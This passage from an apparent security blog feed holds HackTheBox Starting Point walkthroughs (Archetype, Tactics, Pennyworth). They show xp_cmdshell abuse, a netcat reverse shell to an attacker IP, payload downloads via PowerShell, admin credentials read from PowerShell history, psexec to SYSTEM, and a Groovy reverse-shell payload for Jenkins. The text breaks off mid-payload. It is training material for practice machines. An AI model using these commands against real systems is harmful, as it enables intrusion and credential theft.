thorough reconnaissance is always essential, we check the other shares as well, even if they do not appear particularly promising at first glance.\nuser@kali:~$ smbclient -U guest \\\\\\\\$rhost\\\\ADMIN$ ... tree connect failed: NT_STATUS_ACCESS_DENIED ... user@kali:~$ smbclient -U guest \\\\\\\\$rhost\\\\IPC$ ... smb: \\\u003e ls NT_STATUS_NO_SUCH_FILE listing \\* smb: \\\u003e exit user@kali:~$ Listing 8 - Enumerating the other shares As expected, these shares contain nothing of interest. Nevertheless, it never hurts to verify.\nTask-4 Question: What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?\nmssqlclient.py\nOnce Impacket is installed, the tab-autocomplete feature can help us identify the appropriate tool.\nuser@kali:~$ impacket- ... impacket-dpapi impacket-mssqlclient impacket-secretsdump impacket-esentutl impacket-mssqlinstance impacket-services ... user@kali:~$ impacket- Listing 9 - Searching for the correct installed command with tab autocomplete Two candidates stand out:\nimpacket-mssqlclient impacket-mssqlinstance Examining both should make our choice clear.\nuser@kali:~$ impacket-mssqlclient --help ... usage: mssqlclient.py [-h] [-port PORT] [-db DB] [-windows-auth] [-debug] [-file FILE] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] target ... TDS client implementation (SSL supported). ... positional arguments: target [[domain/]username[:password]@]\u0026lt;targetName or address\u0026gt; optional arguments: -h, --help show this help message and exit -port PORT target MSSQL port (default 1433) -db DB MSSQL database instance (default None) -windows-auth whether or not to use Windows Authentication (default False) ... user@kali:~$ Listing 10 - Impacket-mssqlclient help page user@kali:~$ impacket-mssqlinstance --help ... usage: mssqlinstance.py [-h] [-timeout TIMEOUT] host ... Asks the remote host for its running MSSQL Instances. ... user@kali:~$ Listing 11 - Impacket-mssqlinstance help page Since we already possess the credentials, let us attempt to connect. It is important to note that without the -windows-auth optional argument, our connection will not succeed.\nuser@kali:~$ impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@$rhost -windows-auth ... [*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'. [*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (140 3232) [!] Press help for extra shell commands SQL\u003e Listing 12 - Establishing authenticated connection to MSSQL with mssqlclient Task-5 Question: What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?\nxp_cmdshell\nUsing the built-in help command in our authenticated MSSQL session should illuminate the answer.\nSQL\u003e help lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_start_job {cmd} - executes cmd using the sql server agent (blind) ! {cmd} - executes a local shell cmd SQL\u003e Listing 13 - MSSQL help page Attempting to obtain additional information about what the xp_cmdshell command does exactly proves unsuccessful, but the error message provides further hints.\nSQL\u003e xp_cmdshell help [-] ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online. SQL\u003e Listing 14 - Blocked xp_cmdshell command Breaking this down, it appears the system attempted to run help as a command directly, but the operation was blocked because the xp_cmdshell feature is not yet enabled. Enabling it seems prudent, so let us proceed.\nSQL\u003e enable_xp_cmdshell [*] INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. [*] INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. SQL\u003e Listing 15 - Enabling xp_cmdshell It appears the operation succeeded and we have enabled the feature. Let us try running whoami to verify functionality.\nSQL\u003e xp_cmdshell whoami ... archetype\\sql_svc ... SQL\u003e Listing 16 - Successful remote command execution via xp_cmdshell The command executed successfully. But where exactly are we?\nSQL\u003e xp_cmdshell echo %cd% ... C:\\Windows\\system32 ... SQL\u003e Listing 17 - Target enumeration with xp_cmdshell What else can we execute? Can we retrieve the user flag directly from here?\nSQL\u003e xp_cmdshell \"powershell cat C:\\Users\\sql_svc\\Desktop\\user.txt\" ... \u0026lt;redacted-flag\u0026gt; ... SQL\u003e Listing 18 - Displaying the user flag with xp_cmdshell Indeed we can, and we have just done so. However, communicating with our target through the interactive MSSQL shell is rather cumbersome. Therefore, our next course of action should be to establish a reverse shell on the target.\nIn summary, the process unfolds as follows:\nStep-1: Make the Netcat binary available on the attackbox.\nStep-2: Use the interactive MSSQL terminal to download this binary to the target machine.\nStep-3: Create a Netcat listener on the attackbox.\nStep-4: Execute the Netcat binary on the target via the interactive MSSQL shell to connect back to the attackbox.\nStep-1: Make the Netcat binary available on the attackbox.\nLet us begin with step one: our first action should be to download the Windows Netcat binary \u0026ndash; nc64.exe \u0026ndash; and store it on our attackbox.\nRunning the server module from the HTTP Python package \u0026ndash; in the same directory where the Windows Netcat binary is located \u0026ndash; will start a local web server and make all files in that directory accessible.\nuser@kali:~$ ll ... -rw-r--r-- 1 user user 45K ... nc64.exe user@kali:~$ python -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... Listing 19 - Making data accessible on the attackbox via an HTTP server Step-2: Use the interactive MSSQL terminal to download this binary to the target machine.\nContinuing with step two, we return to our interactive MSSQL shell. We then attempt to download the binary using PowerShell and wget \u0026ndash; an alias for Invoke-WebRequest.\nOur first attempt downloads the file and saves it to C:\\Users\\sql_svc\\Downloads, where we should have write access, but we encounter an error.\nSQL\u003e xp_cmdshell \"powershell -c wget http://10.10.14.46:4444/nc64.exe -outfile C:\\Users\\sql_svc\\Downloads\" ... wget : Access to the path 'C:\\Users\\sql_svc\\Downloads' is denied. ... + CategoryInfo : NotSpecified: (:) [Invoke-WebRequest], UnauthorizedAccessException ... + FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Commands.InvokeWebRequestCommand ... SQL\u003e Listing 20 - Denied access to Downloads directory In our second attempt, we first navigate to C:\\Users\\sql_svc\\Downloads and only then attempt to download the binary.\nSQL\u003e xp_cmdshell \"powershell -c cd C:\\Users\\sql_svc\\Downloads; wget http://10.10.14.46:4444/nc64.exe -outfile nc64.exe\" output ------ NULL ... SQL\u003e Listing 21 - Successful transfer This time we succeed, and our binary is located at C:\\Users\\sql_svc\\Downloads\\nc64.exe.\nSQL\u003e xp_cmdshell \"powershell -c ls C:\\Users\\sql_svc\\Downloads\" ... Mode LastWriteTime Length Name ... -a---- ... 45272 nc64.exe ... SQL\u003e Listing 22 - Netcat binary on the targetbox We shut down the HTTP server immediately after the download completes.\nuser@kali:~$ python -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... 10.129.63.163 - - ... \"GET /nc64.exe HTTP/1.1\" 200 - ... ^C Keyboard interrupt received, exiting. user@kali:~$ Listing 23 - Shutting down local HTTP server Step-3: Create a Netcat listener on the attackbox.\nNow for step three: it is time to start our Netcat listener.\n# on lhost user@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 ... Listing 24 - Starting Netcat listener on attackbox Step-4: Execute the Netcat binary on the target via the interactive MSSQL shell to connect back to the attackbox.\nFinally, in step four, we execute the Netcat binary on the target and instruct it to connect back to our attacker machine.\nSQL\u003e xp_cmdshell \"powershell -c cd C:\\Users\\sql_svc\\Downloads; .\\nc64.exe -e cmd.exe 10.10.14.46 4444\" Listing 25 - Connecting back to the attackbox No output appears. Did it work? Upon checking the listener from step three, we see that we have received a reverse shell. The connection succeeded.\nuser@kali:~$ nc -lvnp 4444 ... Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 10.129.63.163. Ncat: Connection from 10.129.63.163:49680. ... C:\\Users\\sql_svc\\Downloads\u003e Listing 26 - Caught reverse shell Let us use our improved connection to retrieve the user flag (again).\nC:\\Users\\sql_svc\\Downloads\u003ewhoami whoami archetype\\sql_svc ... C:\\Users\\sql_svc\\Downloads\u003ecd ..\\Desktop\\ cd ..\\Desktop\\ ... C:\\Users\\sql_svc\\Desktop\u003edir dir ... ... 32 user.txt ... C:\\Users\\sql_svc\\Desktop\u003etype user.txt ... \u0026lt;redacted-flag\u0026gt; C:\\Users\\sql_svc\\Desktop\u003e Listing 27 - Displaying the user flag with the reverse shell connection Task-6 Question: What script can be used in order to search possible paths to escalate privileges on Windows hosts?\nwinpeas\nOne of the most commonly used scripts for privilege escalation on Windows is WinPEAS.\nLet us transfer it to our target. We follow the same procedure as before:\nHost a Python HTTP server where the file is located (lhost). Use PowerShell and wget to copy it over (rhost). Since WinPEAS is already downloaded to pwnbox, locating it is the only remaining task. It can be found at:\n/opt/useful/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe Listing 28 - WinPEAS Windows binary on the attackbox We then copy it to our working directory.\nuser@kali:~$ cp winPEASx64.exe ~/ Listing 29 - Preparations for transfer Once there, we start our HTTP server.\nuser@kali:~$ cd ~/ user@kali:~$ python -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... ... Listing 30 - Starting the Python HTTP server We then use our reverse shell to download it to our target host (rhost).\nC:\\Users\\sql_svc\\Downloads\u003epowershell -c wget http://10.10.14.46:4444/winPEASx64.exe -outfile winPEASx64.exe ... C:\\Users\\sql_svc\\Downloads\u003e Listing 31 - Using PowerShell to transfer the binary from attackbox to targetbox Once downloaded, we close the HTTP server.\nuser@kali:~$ python -m http.server 4444 Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/) ... 10.129.63.163 - - ... \"GET /winPEASx64.exe HTTP/1.1\" 200 - ^C Keyboard interrupt received, exiting. user@kali:~$ Listing 32 - Shutting down the HTTP server All that remains is to execute it.\nC:\\Users\\sql_svc\\Downloads\u003epowershell -c .\\winPEASx64.exe ... System Information ... Basic System Information ... Hostname: Archetype ProductName: Windows Server 2019 Standard EditionID: ServerStandard ReleaseId: 1809 BuildBranch: rs5_release CurrentMajorVersionNumber: 10 CurrentVersion: 6.3 ... PartOfDomain: False Hotfixes: KB5004335, KB5003711, KB5004244, ... [!] CVE-2019-0836 : VULNERABLE ... [!] CVE-2019-0841 : VULNERABLE ... [!] CVE-2019-1064 : VULNERABLE ... [!] CVE-2019-1130 : VULNERABLE ... [!] CVE-2019-1253 : VULNERABLE ... [!] CVE-2019-1315 : VULNERABLE ... [!] CVE-2019-1385 : VULNERABLE ... [!] CVE-2019-1388 : VULNERABLE ... [!] CVE-2019-1405 : VULNERABLE ... [!] CVE-2020-0668 : VULNERABLE ... [!] CVE-2020-0683 : VULNERABLE ... [!] CVE-2020-1013 : VULNERABLE ... [*] Finished. Found 12 potential vulnerabilities. ... Analyzing Windows Files Files (limit 70) C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt C:\\Users\\Default\\NTUSER.DAT C:\\Users\\sql_svc\\NTUSER.DAT ... C:\\Users\\sql_svc\\Downloads\u003e Listing 33 - Running WinPEAS on the target machine Task-7 Question: What file contains the administrator\u0026rsquo;s password?\nConsoleHost_history.txt\nThe output from WinPEAS is quite lengthy, but one of the final lines mentions the location of the PowerShell history file.\n\u0026hellip;\nC:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt\n\u0026hellip;\nListing 34 - PowerShell history file location Examining this file reveals administrator credentials.\nC:\\Users\\sql_svc\\Downloads\u003etype C:\\Users\\sql_svc\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt ... net.exe use T: \\\\Archetype\\backups /user:administrator MEGACORP_4dm1n!! ... C:\\Users\\sql_svc\\Downloads\u003e Listing 35 - Administrator credentials within the PS history file Submit The User Flag Question: Submit user flag\n\u0026lt;redacted-flag\u0026gt;\nIn Task-5 we used two different approaches to retrieve the user flag.\nSubmit The Root Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nWe can use the following administrator credentials found in Task-7:\nUsername: administrator Password: MEGACORP_4dm1n!! to obtain a privileged shell on the target using PsExec from Impacket.\nuser@kali:~$ impacket-psexec administrator@$rhost ... Password: [*] Requesting shares on 10.129.63.163..... [*] Found writable share ADMIN$ [*] Uploading file ZUxKInhO.exe [*] Opening SVCManager on 10.129.63.163..... [*] Creating service EEnc on 10.129.63.163..... [*] Starting service EEnc..... ... C:\\Windows\\system32\u003ewhoami nt authority\\system C:\\Windows\\system32\u003e Listing 36 - Establishing privileged access with PsExec These high-level privileges provide us with access to the administrator\u0026rsquo;s desktop \u0026ndash; C:\\Windows\u0026gt;cd C:\\Users\\Administrator\\Desktop. This is where our root flag resides.\nC:\\Windows\\system32\u003ecd C:\\Users\\Administrator\\Desktop C:\\Users\\Administrator\\Desktop\u003edir ... ... 32 root.txt ... C:\\Users\\Administrator\\Desktop\u003e Listing 37 - Enumerating with high-level privileges All that remains is to retrieve the root flag and terminate the connection.\nC:\\Users\\Administrator\\Desktop\u003etype root.txt \u0026lt;redacted-flag\u0026gt; C:\\Users\\Administrator\\Desktop\u003eexit [*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0 ... user@kali:~$ Listing 38 - Displaying the root flag and terminating the PsExec connection Congratulations on successfully completing the challenge. All that remains is to terminate the target box \u0026ndash; if not terminated automatically \u0026ndash; before proceeding to the next challenge!\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-2/archetype/","summary":"HackTheBox | Starting Point | Tier 2 | Archetype","title":"Archetype"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Tactics\nReleased: 06/10/2021 MACHINE SYNOPSIS\nTactics is a very easy Windows machine that features misconfigured SMB shares where an Administrator account without a password allows access to administrative shares. This misconfiguration can be abused manually with the SMB command line interface to retrieve sensitive files, or Impacket\u0026rsquo;s psexec can be used to obtain a SYSTEM-level shell.\nPreparations There are several ways to connect to the target machine. For this walkthrough, we will use the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; though not required \u0026ndash; we can set a local shell variable containing the target host\u0026rsquo;s IP address. Once set, we access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: Which Nmap switch can we use to enumerate machines when our ping ICMP packets are blocked by the Windows firewall?\n-Pn\nWe begin with a quick connectivity test.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check Running nmap without options does not work, but it does give us a hint.\nuser@kali:~$ nmap $rhost ... Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn ... user@kali:~$ Listing 4 - Nmap hint Let us try it.\nuser@kali:~$ nmap -Pn $rhost ... PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds ... user@kali:~$ Listing 5 - Firewall evasion with Nmap Three TCP ports appear to be open: 135, 139, and 445.\nLet us check these services for additional information.\nuser@kali:~$ nmap -p135,139,445 -Pn -sC -sV $rhost ... PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ... Host script results: ... | smb2-security-mode: ... |_ Message signing enabled but not required ... user@kali:~$ Listing 6 - Service detection and basic script scanning of the open ports Task-2 Question: What does the 3-letter acronym SMB stand for?\nserver message block\nA quick online search yields the answer.\nTask-3 Question: What port does SMB use to operate at?\n445\nAs with the previous task, online research provides the answer.\nTask-4 Question: What command line argument do you give to \u0026lsquo;smbclient\u0026rsquo; to list available shares?\n-L\nUsing the command\u0026rsquo;s built-in --help option should give us the information we need.\nuser@kali:~$ smbclient --help Usage: smbclient [OPTIONS] service \u0026lt;password\u0026gt; ... -L, --list=HOST Get a list of shares available on a host ... user@kali:~$ Listing 7 - SMBclient help page We try the default Administrator account, hoping it is misconfigured \u0026ndash; that is, requiring no password for authentication. When prompted for the password, we simply press ENTER.\nuser@kali:~$ smbclient -L $rhost -U Administrator Password for [WORKGROUP\\Administrator]: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC SMB1 disabled -- no workgroup available user@kali:~$ Listing 8 - Misconfigured SMB share Three shares are listed on the target machine.\nTask-5 Question: What character at the end of a share name indicates it\u0026rsquo;s an administrative share?\n$\nLooking at the shares reported in Task-4, it must be $. Let us try to access the shares:\nuser@kali:~$ smbclient //$rhost/ADMIN$ -U Administrator Password for [WORKGROUP\\Administrator]: ... smb: \\\u003e ls ... $Reconfig$ D 0 ... ADFS D 0 ... appcompat D 0 ... apppatch D 0 ... ... smb: \\\u003e exit user@kali:~$ Listing 9 - Enumerating the ADMIN$ share The ADMIN$ share appears to contain Windows system files. What about the other two?\nWe have success when we explore the C$ share. We find the flag at \\\\$rhost\\C\\$\\Users\\Administrator\\Desktop\\flag.txt and download it to our attacker machine.\nuser@kali:~$ smbclient //$rhost/C$ -U Administrator Password for [WORKGROUP\\Administrator]: ... smb: \\\u003e ls ... Users DR 0 ... ... smb: \\\u003e cd Users smb: \\Users\\\u003e ls ... Administrator D 0 ... ... smb: \\Users\\\u003e cd Administrator smb: \\Users\\Administrator\\\u003e ls ... Desktop DR 0 ... ... smb: \\Users\\Administrator\\\u003e cd Desktop smb: \\Users\\Administrator\\Desktop\\\u003e ls ... flag.txt A 32 ... ... smb: \\Users\\Administrator\\Desktop\\\u003e get flag.txt ... smb: \\Users\\Administrator\\Desktop\\\u003e exit user@kali:~$ Listing 10 - Enumerating the C$ share and downloading the flag Task-6 Question: Which Administrative share is accessible on the box that allows users to view the whole file system?\nC$\nThe answer is straightforward, as we used this share in Task-5 to download the flag.\nTask-7 Question: What command can we use to download the files we find on the SMB Share?\nget\nWe used this same command to download the flag in Task-5.\nTask-8 Question: Which tool that is part of the Impacket collection can be used to get an interactive shell on the system?\npsexec.py\nAlternatively, we could use Impacket\u0026rsquo;s PSexec tool \u0026ndash; impacket-psexec \u0026ndash; to spawn a shell in the ADMIN$ share. Accessing the flag then becomes straightforward.\nuser@kali:~$ impacket-psexec administrator@$rhost ... Password: [*] Requesting shares on 10.129.118.218..... [*] Found writable share ADMIN$ [*] Uploading file qbvrkWIQ.exe [*] Opening SVCManager on 10.129.118.218..... [*] Creating service UNVK on 10.129.118.218..... [*] Starting service UNVK..... ... C:\\Windows\\system32\u003ewhoami nt authority\\system C:\\Windows\\system32\u003ecd .. C:\\Windows\u003ecd \\Users\\ C:\\Users\u003ecd Administrator C:\\Users\\Administrator\u003ecd Desktop C:\\Users\\Administrator\\Desktop\u003edir ... ... 32 flag.txt ... C:\\Users\\Administrator\\Desktop\u003etype flag.txt C:\\Users\\Administrator\\Desktop\u003e Listing 11 - Interactive shell with Impacket's psexec Submit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nDisplaying the downloaded flag file from Task-5 should suffice.\nuser@kali:~$ cat flag.txt \u0026lt;redacted-flag\u0026gt; user@kali:~$ Listing 12 - Displaying the flag Alternatively, we could use Impacket\u0026rsquo;s PSexec tool as we did in Task-8.\nCongratulations! We have completed the challenge. All that remains is to terminate the target box \u0026ndash; if it has not been terminated automatically \u0026ndash; before proceeding to the next challenge.\n","permalink":"https://onebee.blog/blog/htb/starting-point/tier-1/tactics/","summary":"HackTheBox | Starting Point | Tier 1 | Tactics","title":"Tactics"},{"content":"CHALLENGE INFORMATION\nPlatform: HackTheBox\nCollection: Starting Point\nTier: 1\nMachine: Pennyworth\nReleased: 06/10/2021 MACHINE SYNOPSIS\nPennyworth is a very easy Linux machine that focuses on exploiting weak credentials and remote command execution in Jenkins. Default credentials can be used to get administrative access into Jenkins with which the Script Console can be leveraged to execute Groovy code and obtain a reverse shell.\nPreparations There are several ways to connect to the target machine. Throughout this walkthrough, we will use the provided pwnbox.\nOnce our connection is established, we spawn the target machine.\nAdditionally \u0026ndash; even though it is not required \u0026ndash; we may set a local variable (available only in the current shell) containing the target host\u0026rsquo;s IP address. Once set, we can access it by prepending a $ to the variable name.\nuser@kali:~$ rhost=\u0026lt;target-hosts-ip\u0026gt; user@kali:~$ echo $rhost \u0026lt;target-hosts-ip\u0026gt; user@kali:~$ Listing 1 - Creating a local variable rhost to store the target's IP address We can remove the variable with the unset command when it is no longer needed.\nuser@kali:~$ unset rhost Listing 2 - Removing the rhost variable if necessary Task-1 Question: What does the acronym CVE stand for?\ncommon vulnerabilities and exposures\nA quick online search for \u0026lsquo;CVE\u0026rsquo; yields the expected result.\nTask-2 Question: What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?\nconfidentiality, integrity, availability\nAs before, a brief internet search provides the correct answer.\nTask-3 Question: What is the version of the service running on port 8080?\nJetty 9.4.39.v20210325\nAs always, we begin with a quick connectivity check.\nuser@kali:~$ ping $rhost -c 4 ... 4 packets transmitted, 4 received, 0% packet loss, time 3005ms ... user@kali:~$ Listing 3 - Connection check Next, we scan the top 1000 TCP ports on our target, using the -sC option (to run default scripts) and the -sV option (to determine the running service and its version).\nuser@kali:~$ nmap -sC -sV $rhost ... PORT STATE SERVICE VERSION 8080/tcp open http Jetty 9.4.39.v20210325 |_http-server-header: Jetty(9.4.39.v20210325) | http-robots.txt: 1 disallowed entry |_/ |_http-title: Site doesn't have a title (text/html;charset=utf-8). ... user@kali:~$ Listing 4 - Service detection and default script scanning the target's top 1000 ports The target appears to be running a web server.\nTask-4 Question: What version of Jenkins is running on the target?\n2.289.1\nUsing whatweb to fingerprint the server reveals useful information: the application is Jenkins, and direct access to the landing page \u0026ndash; http://$rhost:8080/ \u0026ndash; is forbidden.\nuser@kali:~$ whatweb http://$rhost:8080/ http://10.129.167.232:8080/ [403 Forbidden] Cookies[JSESSIONID.44a92248], Country[RESERVED][ZZ], HTTPServer[Jetty(9.4.39.v20210325)], HttpOnly[JSESSIONID.44a92248], IP[10.129.167.232], Jenkins[2.289.1], Jetty[9.4.39.v20210325], Meta-Refresh-Redirect[/login?from=%2F], Script, UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session] http://10.129.167.232:8080/login?from=%2F [200 OK] Cookies[JSESSIONID.44a92248], Country[RESERVED][ZZ], HTML5, HTTPServer[Jetty(9.4.39.v20210325)], HttpOnly[JSESSIONID.44a92248], IP[10.129.167.232], Jenkins[2.289.1], Jetty[9.4.39.v20210325], PasswordField[j_password], Script[text/javascript], Title[Sign in [Jenkins]], UncommonHeaders[x-content-type-options,x-hudson,x-jenkins,x-jenkins-session,x-instance-identity], X-Frame-Options[sameorigin] ... user@kali:~$ Listing 5 - WhatWeb fingerprinting As WhatWeb indicated, attempting to access the webpage in our browser redirects us to a Jenkins login page.\nFigure 1: Jetkins login\nTask-5 Question: What type of script is accepted as input on the Jenkins Script Console?\ngroovy\nWe are not yet finished with reconnaissance. However, because\nthe landing page is restricted, and accessing the landing page triggers a redirection to the login page, our directory busting with Gobuster will fail in its default configuration.\nuser@kali:~$ gobuster dir -u http://$rhost:8080/ -w /usr/share/wordlists/dirb/common.txt ... Error: the server returns a status code that matches the provided options for non existing urls. http://10.129.167.232:8080/b001707e-91a0-419c-a1d1-e48f1ebbffcc =\u003e 403 ... ... user@kali:~$ Listing 6 - Directory enumeration against the landing page Fortunately, Gobuster suggests a workaround: excluding the \u0026ldquo;403 Forbidden\u0026rdquo; response status code from the results.\nuser@kali:~$ gobuster dir -u http://$rhost:8080/ -w /usr/share/wordlists/dirb/common.txt -b 403 ... /assets (Status: 302) [Size: 0] [--\u003e http://10.129.167.232:8080/assets/] /error (Status: 400) [Size: 6241] /favicon.ico (Status: 200) [Size: 17542] /git (Status: 302) [Size: 0] [--\u003e http://10.129.167.232:8080/git/] /login (Status: 200) [Size: 2028] /logout (Status: 302) [Size: 0] [--\u003e http://10.129.167.232:8080/] /meta-inf (Status: 404) [Size: 452] /META-INF (Status: 404) [Size: 452] /robots.txt (Status: 200) [Size: 71] /signup (Status: 404) [Size: 6205] /WEB-INF (Status: 404) [Size: 451] /web-inf (Status: 404) [Size: 451] ... user@kali:~$ Listing 7 - Directory enumeration with specific exclusion Examining the discovered pages reveals several interesting details. One is the content of robots.txt.\nuser@kali:~$ curl http://$rhost:8080/robots.txt # we don't want robots to click \"build\" links User-agent: * Disallow: / user@kali:~$ Listing 8 - Disallowed page root in robots.txt Another is the search bar accessible via either http://$rhost:8080/error or http://$rhost:8080/signup.\nAdditionally, the modified URL is worth investigating. Searching for \u0026rsquo;test\u0026rsquo; via the search bar on the /signup page redirects us to the login page with interesting URL parameter values:\nhttp://10.129.167.232:8080/login?from=%2Fsearch%2F%3Fq%3Dtest%26Jenkins-Crumb%3D52fd38b432dda0661460c3d9e6e473ee555c5c688bd0fd48d113d183eb28a7ed Listing 9 - Interesting URL parameter values after redirect from /signup page Once URL-decoded (using an online decoder or Burp\u0026rsquo;s decoder), the URL becomes:\nhttp://10.129.167.232:8080/login?from=/search/?q=test\u0026amp;Jenkins-Crumb=52fd38b432dda0661460c3d9e6e473ee555c5c688bd0fd48d113d183eb28a7ed Listing 10 - URL-decoded parameter values A quick online search for \u0026lsquo;Jenkins-Crumb\u0026rsquo; reveals that it serves as protection against Cross-Site Request Forgery (CSRF) attacks. The computed hash encodes the following information:\nThe Default Crumb Issuer encodes the following information in the hash used as crumb:\n- The user name that the crumb was generated for.\n- The web session ID that the crumb was generated in.\n- The IP address of the user that the crumb was generated for.\n- A salt unique to this Jenkins instance.\nListing 11 - Jenkins-Crumb hash structure We take note of this and continue our information gathering.\nSince we have already found a login page, we try some default credentials. We succeed quickly, as the instance still uses the default credentials:\nUsername: root, Password: password. After logging in, we are greeted by a Dashboard and several other control options.\nFigure 2: Jetkins dashboard\nSince this is our first login, we take a moment to explore the interface thoroughly.\nOne particularly important discovery is the Script Console. It is accessible via Manage Jenkins (#1) \u0026gt; Script Console (#2), or directly at http://$rhost:8080/script once authenticated.\nFigure 3: Selecting manage jenkins\nFigure 4: Selecting the script console\nFigure 5: The script console\nWe note the Script Console\u0026rsquo;s description:\n\u0026hellip;\nType in an arbitrary Groovy script and execute it on the server.\n\u0026hellip;\nListing 12 - Snippet from the script console's description This not only answers the current task directly but also hints at our next course of action.\nWe run the provided example command to verify that the console functions as expected.\n/* example command */ println(Jenkins.instance.pluginManager.plugins) Listing 13 - Sample command to run The command executes successfully, displaying the output on the page \u0026ndash; convenient, yet dangerous.\nFigure 6: Groovy test run\nTask-6 Question: What would the String cmd variable from the Groovy Script snippet be equal to if the Target VM was running Windows?\ncmd.exe\nThe command execution we discovered in Task-5 works as follows:\nwe feed the script console a Groovy script (in this case, our crafted payload); the script is executed on the target system; output is displayed under Result. Having identified and tested the vulnerability, we now proceed to exploit it. One of the first exploits we find online is the following:\nString host=\u0026#34;localhost\u0026#34;; int port=8044; String cmd=\u0026#34;cmd.exe\u0026#34;; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()\u0026gt;0)so.write(pi.read());while(pe.available()\u0026gt;0)so.write(pe.read());while(si.available()\u0026gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); Listing 14 - Java PoC In theory, running this on our target would spawn a reverse shell connecting back to our attacker machine. While this answers our task, we might prefer something simpler. Consider this alternative:\ndef sout = new StringBuilder(), serr = new StringBuilder() def proc = \u0026#39;ls\u0026#39;.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println \u0026#34;out\u0026gt; $sout err\u0026gt; $serr\u0026#34; Listing 15 - Very simple Java PoC This executes the command placed between the apostrophes in '\u0026lt;our-command\u0026gt;'.execute() on the target and displays the results on the webpage. When run, it returns:\nout\u003e bin boot cdrom dev etc home lib ... media mnt opt proc root ... err\u003e Listing 16 - Successful code execution on the target It looks like we are in the target system\u0026rsquo;s root (/) directory. Exploring further with\n... def proc = \u0026#39;ls /root/\u0026#39;.execute() ... Listing 17 - Adjusting payload to find flag reveals the flag\u0026rsquo;s location at /root/flag.txt.\nTask-7 Question: What is a different command than \u0026lsquo;ip a\u0026rsquo; we could use to display our network interfaces\u0026rsquo; information on Linux?\nifconfig\nUsing the internet to verify information never gets old.\nTask-8 Question: What switch should we use with netcat for it to use UDP transport mode?\n-u\nNor does consulting a command\u0026rsquo;s built-in --help option.\nuser@kali:~$ nc --help ... Usage: ncat [options] [hostname] [port] ... -u, --udp Use UDP instead of default TCP ... user@kali:~$ Listing 18 - Netcat help page Task-9 Question: What is the term used to describe making a target host initiate a connection back to the attacker host?\nreverse shell\nOne of the PoC exploits we found in Task-6 does exactly this.\nSubmit The Flag Question: Submit root flag\n\u0026lt;redacted-flag\u0026gt;\nSince we already located the flag in Task-6, we need only modify our payload to display it directly.\ndef sout = new 